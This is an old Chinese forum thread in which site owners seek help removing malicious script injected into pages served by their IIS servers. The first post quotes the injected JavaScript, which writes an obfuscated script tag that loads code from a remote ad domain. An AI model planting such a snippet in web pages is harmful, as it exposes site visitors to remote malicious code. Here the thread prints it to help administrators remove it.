中国网管论坛 » 病毒讨论专版 » 解决部分网友IIS挂马问题专贴

agnt 发表于 2007-12-4 19:04

解决部分网友IIS挂马问题专贴

最近两天有网友反映,自己网站客户端总出去下列代码问题的解决办法
<!--
var expires = new Date();
expires.setTime(expires.getTime() + 1 * 24* 60 * 60 * 1000);
document.cookie="thread=threads;expires="+expires.toGMTString();
document.write('<SCRI' + 'PT LANGUAGE="javascript1.2"');
document.writeln(' SRC="http://list.adslooks.info:443/ads.js"></SCR' + 'IPT>');
-->
</script>

请检查图中的文件,如存在请删除,并抑制其再生

ONet 技术联盟
QQ:330154856

wq800221 发表于 2007-12-8 14:44

我的服务器中的就是这个，请楼主帮忙解释一下，为什么所有的杀毒软件都查不出来呢？这到底是什么病毒？

wq800221 发表于 2007-12-8 16:43

为什么不根本删不掉呢？删完了，还会自动生成？有什么办法解决删除这个文件？

cneter 发表于 2007-12-14 16:51

是啊，楼主能否详细说说，如何能彻底清除掉该病毒

agnt 发表于 2007-12-14 20:39

先备文份这个文件,用POWERRMV删除并抑制再生

person01 发表于 2008-8-29 08:04

tsd32 - tsd32.dll - DLL文件信息
DLL 文件： tsd32 或者 tsd32.dll
DLL 名称： DSP Group TrueSpeech Audio Encoder & Decoder
  
描述：
tsd32.dll是音频编码和解码相关文件。


属于： TrueSpeech
系统 DLL文件： 否

常见错误： File Not Found, Missing File, Exception Errors

安全等级 (0-5): 0
间谍软件： 否
广告软件： 否

这个正确啊

查看完整版本: 解决部分网友IIS挂马问题专贴